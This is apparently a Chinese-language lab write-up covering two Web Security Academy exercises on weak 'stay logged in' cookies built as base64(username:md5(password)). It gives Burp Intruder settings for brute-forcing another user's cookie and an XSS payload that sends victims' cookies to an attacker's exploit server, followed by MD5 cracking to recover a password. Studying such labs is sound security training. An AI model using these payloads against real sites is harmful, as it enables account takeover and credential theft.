bypass Keeping-logged

保持登入狀態是一個常見的功能,這表示在使用者關閉瀏覽器工作階段後也可以保持登入狀態,常見做法是將token儲存在cookie中。

一些網站根據可預測的靜態值串聯(例如使用者名稱和時間戳記)產生此 cookie。有些甚至使用密碼作為 cookie 的一部分。攻擊者一旦研究這些cookie並成功推斷它是如何產生的,就可以嘗試以暴力破解其他使用者的cookie來存取他們的帳戶

常見的情境有以下兩種

  • 可爆力破解cookie密碼
  • 偷cookie取得密碼

爆力破解cookie密碼

password編碼存在cookie被發現,可以透過爆力破解猜密碼

舉例如下

某網站cookie內的Stay-logged-in,用base64解碼後得到wiener:51dc30ddc473d43a6011e9ebba6ca770,在到md5線上查詢網站查51dc30ddc473d43a6011e9ebba6ca770可以剛好和密碼一樣是peter

由此可知格式為base64(username+’:’+md5(Password)),因此可以根據此格式進行爆力密碼破解

假如攻擊目標是carlos,可將帶有Stay logged in的請求送到Burp Intruder,並依照以下配置設定爆力破解

payload type: simple list , 貼上字典檔內容

payloads:Payload processing 區域, 按以下順序增加

Hash: MD5
Add prefix: carlos :
Encode: Base64-encode

發動爆破後,如果看到返回的內容特別長,表示己成功猜到密碼

Lab: Brute-forcing a stay-logged-in cookie


偷cookie取得密碼

password加密方式存在cookie被發現,只要偷到cookie就能知道password

舉例如下

某網站cookieStay-logged-in,用base64解碼後得到wiener:51dc30ddc473d43a6011e9ebba6ca770,在到md5線上查詢網站查51dc30ddc473d43a6011e9ebba6ca770可以剛好和密碼一樣是peter

由此可知格式為base64(username+’:’+md5(Password)),因此拿到此cookie就能知道帳號密碼

由於該網站的comment有xss漏洞,因此可插入以下語法

<script>document.location='//your-exploit-server-id.web-security-academy.net/'+document.cookie</script>

當受害者訪問到該comment時,就會觸發xss將自己的cookie送到攻擊者主機

攻擊者主機的日志會顯示如下內容

172.31.31.164 2023-09--09 16:40:30 +0000 "GET /secret=eaafj32089ahplihf3804;%20stay-logged-in=eF94mmV7230dy457eOqwfm HTTP/1.1"

stay-logged-in內容用base64解碼後後得到carlos:26323c16d5f4dabff3bb136f2460a943

在把md5字串26323c16d5f4dabff3bb136f2460a943拿去md5線上查詢網站查就可得到密碼onceuponatime

Lab: Offline password cracking